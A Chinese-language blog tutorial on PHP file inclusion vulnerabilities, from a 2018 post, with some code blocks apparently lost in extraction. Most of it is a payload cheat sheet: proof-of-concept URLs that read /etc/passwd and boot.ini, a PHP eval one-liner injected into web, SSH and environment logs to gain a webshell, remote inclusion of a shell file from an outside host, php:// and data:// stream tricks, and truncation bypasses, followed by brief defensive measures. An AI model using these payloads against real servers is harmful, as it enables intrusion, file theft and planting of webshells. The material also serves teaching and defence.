程式碼安全之檔案包含

FLy_鵬程萬里發表於2018-05-31

漏洞成因

PHP檔案包含漏洞的產生原因是在通過PHP的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼注入。

PHP檔案包含漏洞程式碼

以上程式碼儲存為 http://www.test.com/index.php

本地檔案包含

包含系統檔案

windows


linux

普通許可權:


root許可權:


獲取webshell

包含web日誌檔案

1 訪問連線 http://www.test.com/<?php eval(POST_['test']) ?>

2 使用菜刀連線 http://www.test.com/index.php?func=/var/log/apache/access.log

這種方式有一個弊端,由於access的日誌檔案比較大,所以webshell可能會很慢甚至卡死

包含ssh登入日誌

如果web伺服器開啟了ssh,且我可以使用putty連線其埠,我們可以嘗試連線,使用<?php eval(POST_['test']) ?>作為使用者名稱,然後在登入失敗後,使用者名稱會被記錄在ssh的失敗登入日誌(/var/log/auth.log)中,我們可以包含這個日誌檔案獲取webshell。

包含環境變數

我們在user-agent中插入一句話,然後訪問web伺服器,在/proc/self/environ中會包含我們的user-agent資訊,然後我們可以包含該檔案獲取webshell。下面是該檔案的內容:


包含使用者上傳檔案

包含圖片

使用者上傳圖片功能是web服務網站最常用的功能,沒什麼好說的

包含壓縮包

上傳一個包含一句話的rar壓縮包,這個功能在php版本大於5.30下可以利用

【POC】http://www.test.com/index.php?file=phar://test.rar/test.txt

遠端檔案包含

利用方式

包含遠端伺服器檔案

利用條件

需要allow_url_fopen=On並且 allow_url_include=On

POC
【POC】http://www.test.com/index.php?file=[http|https|ftp]://example.com/shell.txt

利用PHP流

利用條件

需要allow_url_include=On

利用方式

【POC】 http://www.test.com/index.php?file=php://input

【POC】 http://www.test.com/index.php?file=php://filter/convert.base64-encode/resource=index.php

【POC】 http://www.test.com/index.php?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

對於有限制的檔案包含

包含指令碼

<?php include($_GET['file'] . ".htm"); ?>

突破方式

00截斷

利用條件

需要 magic_quotes_gpc=off,PHP小於5.3.4有效

利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd

超長檔名截斷

利用條件

php版本小於5.2.8(?)可以成功,linux需要檔名長於4096,windows需要長於256

利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

點號截斷

利用條件

php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256

利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../boot.ini/………[…]…………

防禦措施

1 儘量不要使用者控制檔案包含的引數

2 開啟open_basedir函式,將其設定為指定目錄,則只有該目錄的檔案允許被訪問。

3 關閉allow_url_include函式,防止遠端檔案包含。

4 包含檔案白名單限制

不同語言有包含功能的函式

PHP

include()
include_once()
require()
require_once()
fopen()
readfile()

jsp

include:
 <%@ include file="body.jsp"%>
jsp:include:
<jsp:include page="head.jsp"/>
採用JSTL: 
<c:import url="http://thief.one/1.jsp">

asp

<!--#include file="1.asp" -->

aspx

<!--#include file="top.aspx" -->

相關文章